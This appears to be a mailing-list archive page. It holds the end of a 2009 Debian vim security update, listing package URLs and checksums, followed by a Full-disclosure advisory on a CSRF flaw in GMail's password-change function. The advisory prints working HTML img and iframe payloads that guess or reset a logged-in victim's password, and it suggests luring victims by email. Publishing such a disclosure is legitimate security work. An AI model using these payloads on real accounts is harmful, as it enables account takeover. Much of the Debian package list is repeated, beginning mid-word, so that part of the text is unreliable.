    Size/MD5 checksum:   930386 db9786b5c368e0f7d0c85137720ac265
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   885960 f0a44d7da770bc2c28dd18ac48fcc5f0
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   878132 8afa2754690619255e62c685ecbd7384
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   756278 7d66f29205b21154a9ef1a4cd544b2f1

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   918284 2dbb674af6d8fb2906bd7ed6fec1dd95
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   215990 07fc4b6106d1316c92338aa5c5645a2f
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   540652 9c15ac5b85c605011d1b0ab4b13b0269
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   947842 cd7147610def6f6aebfc8ddd14a1f7ed
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   914094 0273374e2bba8706ac12ee449c1835e3
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   866124 00dd2547963789615b71b0f0fb291eb9
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   868326 3f04461e4f0414368fe60e0f4085d28c
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   873570 dae9ebb6f4e2cd0c3d82e5e547dd1957
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   860292 467ce64f0171f10ac4149e5716f651da
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   745560 ade89928c860c4990ec6e202a294f0c8
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_i386.deb
    Size/MD5 checksum:   924858 1942cedccbe124303b4ad0f7c650f0c6

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1591938 aaa5a72cfdacb3c3d2574390902bcfa2
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1523258 08f9a82ec68f452e1701f11b9c20d0e3
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1530006 9b77cd0ec49c8519d0c1af0914092260
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1538210 3dbde934956291182e5bf61157a80b44
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1575130 e328ca048ee883dba500128a2a06fc88
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1525510 e3736c90e105fa354c691546bec3922b
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1325622 693a3412efd63e8ac0d975b4fcae3ac5
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1627904 90ca86e74caf9c0367c20b32eb9d42b3
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:   970874 2dccfb8e2287cd9e6285545e43dac87a
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1585804 06a43c2668bf468ffe521880cc497518
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:   184650 516d8eddce4e6628e8b6ee32f55ce2aa

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1061694 a2e9b2bc8f31cf878805dbc1babd4074
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1027336 d86f7c3fab9143c1c93d82b3762f8c0d
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   215734 c23239c8579e53a4277325a048567e75
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1021942 d75231c3c7950785df8f52680e28c956
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1029478 e74670d4918287fb3d05436419b7f5a9
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1037498 ac41c65a077d84f0f5405356d0b52ef1
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   654740 994339f109e5db97079633b5249bd8d2
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1034390 2c4337c763ea13a11e13b711c25313b5
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1033336 eb70a508dd3a9f30f31a87c4a2266959
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1024984 8d99fbb2712f791c3a0989929cf3f0a4
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   884306 7aeb2418d5366493e09306cb0dff0080

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   884962 b58372db99660ff0e4f547b3c66335e2
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1034202 0622c0fac8ee51c7dd403a2d3a709f1f
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1024616 fa6a91224476aadab8e9086031c93843
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   655488 9ecdf0e56665da0aff429e23e9c0cb85
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1061362 accba14e8f0043ef3a0b9be85ae481cd
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   181736 5ba79db87623562481162cbac53ec2b6
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1037954 28979a474d512ec1abfb33a598b524c7
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1026874 5c10e35e281ec28eecc36b8fa80ef0d7
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1032800 75be0356398f5a88e836eafccdf11154
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1029056 0a13b0913667d03e2d3875611498c54c
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1022658 18d03119dc62eaca237a2513cba2c0ca

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   996154 f3c3d5660dd3e5e7fdb325a1f9ee80f3
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:  1019842 f626233054124e014d335722e6b7b1f5
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   592366 e4bd0cbf615c36476bff4979d0987393
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   936024 be64d238a9cbf4d938999472026fde89
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   808854 7dfff56d11567d2dabafa290618b5e18
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   990262 6114d3fcd53521a8c2cd317d586b6fcd
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   933488 503e433ae6fd737f2b3ae48698e8e671
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   985094 28babdde5091f90ae7b64f6e33c6c50f
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   943596 3beb1be6cde901814742b33ee4973142
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   181648 b71e88d76eacbfa861c24c6c21881f66
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   938174 3a729f2922d8e84b222947a18bc6ace3

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1023236 1ee38cca410e5bd069a72a325fd8147e
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1019258 e1f6cae1e293d3cb212ff17dd7beb264
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1049408 4b1f42bb092f9dd62d7324e430a1a88e
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   825560 2b8b69171c45094c184e357b1a6a7336
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   955228 ceea2d07ea609414724aeedae57a3a0a
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   965878 824e5bfdcc9a8ed7ee54e4553c9461f8
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   971822 194d010d7aea2f2c47075b6f205de0c1
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   963294 a7636d870a3bc1de7fc8248d35c74cf3
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   610092 6762beafb4e7376087c4f8962d1521f6
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   181488 00d25451b3c22213bf5eb807a6d4a75f
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1013748 598ccccd6f90df0ca7bedd5ec1d136c7

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   881430 2688537934012af957695fea329b48a1
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   545376 1ea2967048cd369cc870441f5caeb1b1
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   867886 f663757c3929af6b241a91efa07a626a
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   928250 9c0199efd36a47c6d05861af5e04ff02
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   874108 4d351161d497905352ac6ef1dcabfc9e
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   934390 2151ef35c9424c90850c579f90effce4
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   874100 c05ccf6f4ffb15037cfd794647848617
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   204512 1e3590447f3f0804e9fe27ea61959b31
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   876370 1782507a950cbb17519d768f5655278a
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   751910 582313f03a36980fab96074ee218c0eb
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   952632 31875cb1a0037cf8923e7eda269ead80


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
ze/MD5 checksum:   970874 2dccfb8e2287cd9e6285545e43dac87a
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:  1585804 06a43c2668bf468ffe521880cc497518
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_ia64.deb
    Size/MD5 checksum:   184650 516d8eddce4e6628e8b6ee32f55ce2aa

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1061694 a2e9b2bc8f31cf878805dbc1babd4074
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1027336 d86f7c3fab9143c1c93d82b3762f8c0d
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   215734 c23239c8579e53a4277325a048567e75
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1021942 d75231c3c7950785df8f52680e28c956
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1029478 e74670d4918287fb3d05436419b7f5a9
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1037498 ac41c65a077d84f0f5405356d0b52ef1
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   654740 994339f109e5db97079633b5249bd8d2
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1034390 2c4337c763ea13a11e13b711c25313b5
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1033336 eb70a508dd3a9f30f31a87c4a2266959
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:  1024984 8d99fbb2712f791c3a0989929cf3f0a4
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_mips.deb
    Size/MD5 checksum:   884306 7aeb2418d5366493e09306cb0dff0080

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   884962 b58372db99660ff0e4f547b3c66335e2
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1034202 0622c0fac8ee51c7dd403a2d3a709f1f
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1024616 fa6a91224476aadab8e9086031c93843
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   655488 9ecdf0e56665da0aff429e23e9c0cb85
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1061362 accba14e8f0043ef3a0b9be85ae481cd
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:   181736 5ba79db87623562481162cbac53ec2b6
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1037954 28979a474d512ec1abfb33a598b524c7
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1026874 5c10e35e281ec28eecc36b8fa80ef0d7
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1032800 75be0356398f5a88e836eafccdf11154
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1029056 0a13b0913667d03e2d3875611498c54c
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_mipsel.deb
    Size/MD5 checksum:  1022658 18d03119dc62eaca237a2513cba2c0ca

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   996154 f3c3d5660dd3e5e7fdb325a1f9ee80f3
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:  1019842 f626233054124e014d335722e6b7b1f5
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   592366 e4bd0cbf615c36476bff4979d0987393
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   936024 be64d238a9cbf4d938999472026fde89
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   808854 7dfff56d11567d2dabafa290618b5e18
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   990262 6114d3fcd53521a8c2cd317d586b6fcd
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   933488 503e433ae6fd737f2b3ae48698e8e671
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   985094 28babdde5091f90ae7b64f6e33c6c50f
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   943596 3beb1be6cde901814742b33ee4973142
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   181648 b71e88d76eacbfa861c24c6c21881f66
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_powerpc.deb
    Size/MD5 checksum:   938174 3a729f2922d8e84b222947a18bc6ace3

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1023236 1ee38cca410e5bd069a72a325fd8147e
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1019258 e1f6cae1e293d3cb212ff17dd7beb264
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1049408 4b1f42bb092f9dd62d7324e430a1a88e
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   825560 2b8b69171c45094c184e357b1a6a7336
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   955228 ceea2d07ea609414724aeedae57a3a0a
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   965878 824e5bfdcc9a8ed7ee54e4553c9461f8
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   971822 194d010d7aea2f2c47075b6f205de0c1
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   963294 a7636d870a3bc1de7fc8248d35c74cf3
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   610092 6762beafb4e7376087c4f8962d1521f6
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:   181488 00d25451b3c22213bf5eb807a6d4a75f
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_s390.deb
    Size/MD5 checksum:  1013748 598ccccd6f90df0ca7bedd5ec1d136c7

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   881430 2688537934012af957695fea329b48a1
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   545376 1ea2967048cd369cc870441f5caeb1b1
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   867886 f663757c3929af6b241a91efa07a626a
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   928250 9c0199efd36a47c6d05861af5e04ff02
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   874108 4d351161d497905352ac6ef1dcabfc9e
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   934390 2151ef35c9424c90850c579f90effce4
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   874100 c05ccf6f4ffb15037cfd794647848617
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   204512 1e3590447f3f0804e9fe27ea61959b31
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   876370 1782507a950cbb17519d768f5655278a
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   751910 582313f03a36980fab96074ee218c0eb
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_sparc.deb
    Size/MD5 checksum:   952632 31875cb1a0037cf8923e7eda269ead80


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrOlOU5XKDemr/NIRAr4MAJ9albLKf0txEhSML8el6c2wNrcrvgCfav20
S+9XuS0g1xNC3Bwlv5Ck0AA=
=dEJC
-----END PGP SIGNATURE-----



From advisories at isecauditors.com  Tue Mar  3 10:55:50 2009
From: advisories at isecauditors.com (ISecAuditors Security Advisories)
Date: Tue, 03 Mar 2009 11:55:50 +0100
Subject: [Full-disclosure] [ISecAuditors Security Advisories] CSRF
	vulnerability in GMail service
Message-ID: <49AD0CB6.1060101@isecauditors.com>

=============================================
INTERNET SECURITY AUDITORS ALERT 2007-003
- Original release date: August 1st, 2007
- Last revised: January 11th, 2009
- Discovered by: Vicente Aguilera Diaz
- Severity: 3/5
=============================================

I. VULNERABILITY
-------------------------
CSRF vulnerability in GMail service

II. BACKGROUND
-------------------------
Gmail is Google's free webmail service. It comes with built-in Google
search technology and over 2,600 megabytes of storage (and growing
every day). You can keep all your important messages, files and
pictures forever, use search to quickly and easily find anything
you're looking for, and make sense of it all with a new way of viewing
messages as part of conversations.

III. DESCRIPTION
-------------------------
Cross-Site Request Forgery, also known as one click attack or session
riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
malicious exploit of websites. Although this type of attack has
similarities to cross-site scripting (XSS), cross-site scripting
requires the attacker to inject unauthorized code into a website,
while cross-site request forgery merely transmits unauthorized
commands from a user the website trusts.

GMail is vulnerable to CSRF attacks in the "Change Password"
functionality. The only token for authenticate the user is a session
cookie, and this cookie is sent automatically by the browser in every
request.

An attacker can create a page that includes requests to the "Change
password" functionality of GMail and modify the passwords of the users
who, being authenticated, visit the page of the attacker.

The attack is facilitated since the "Change Password" request can be
realized across the HTTP GET method instead of the POST method that is
realized habitually across the "Change Password" form.

IV. PROOF OF CONCEPT
-------------------------
1. An attacker create a web page "csrf-attack.html" that realize many
HTTP GET requests to the "Change Password" functionality.

For example, a password cracking of 3 attempts (see "OldPasswd"
parameter):
...
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
...

or with hidden frames:
...
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">
...

The attacker can use deliberately a weak new password (see "Passwd"
and "PasswdAgain" parameters), this way he can know if the analysed
password is correct without need to modify the password of the victim
user.

Using weak passwords the "Change Password" response is:
 - " The password you gave is incorrect. ", if the analysed password
is not correct.
 - " We're sorry, but you've selected an insecure password. In order
to protect the security of your account, please click "Password
Strength" to get tips on choosing to safer password. ", if the
analysed password is correct and the victim password is not modified.

If the attacker want to modify the password of the victim user, the
waited response message is: " Your new password has been saved - OK ".

In any case, the attacker evades the restrictions imposed by the
captcha of the authentication form.

2. A user authenticated in GMail visit the "csrf-attack.html" page
controlled by the attacker.

For example, the attacker sends a mail to the victim (a GMail account)
and provokes that the victim visits his page (social engineering). So,
the attacker insures himself that the victim is authenticated.

3. The password cracking is executed transparently to the victim.

V. BUSINESS IMPACT
-------------------------
- Selective DoS on users of the GMail service (changing user password).
- Possible access to the mail of other GMail users.

VI. SYSTEMS AFFECTED
-------------------------
Gmail service.

VII. SOLUTION
-------------------------
No solution provided by vendor.

VIII. REFERENCES
-------------------------
http://www.gmail.com

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported by
Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
July      31, 2007: Initial release
August     1, 2007: Fewer corrections.
December  30, 2008: Last details.

XI. DISCLOSURE TIMELINE
-------------------------
July      30, 2007: Vulnerability acquired by
                    Internet Security Auditors.
August     1, 2007: Initial notification sent to the
                    Google security team.
August     1, 2007: Google security team request additional
                    information.
                    about and start review the vulnerability.
August    13, 2007: Request information about the status.
August    15, 2007: Google security team responds that they are still
                    working on this.
September 19, 2007: Request for the status. No response.
November  26, 2007: Request for the status. No response.
January    2, 2008: Request for the status. No response.
January    4, 2008: Request for the status. No response.
January   11, 2008: Request for the status. No response.
January   15, 2008: Request for the status. Automated response.
January   18, 2008: Google security team informs that don't expect
                    behaviour to change in the short term giving
                    the justification.
                    We deconstruct those arguments as insufficient.
                    No more responses.
December  30, 2008: Request for the status. Confirmation from Google
                    they won't change the consideration about this.
January   11, 2009: Publication to Bugtraq. Rejected twice.
                    No reasons.
March     03, 2009: General publication for disclosure in other lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
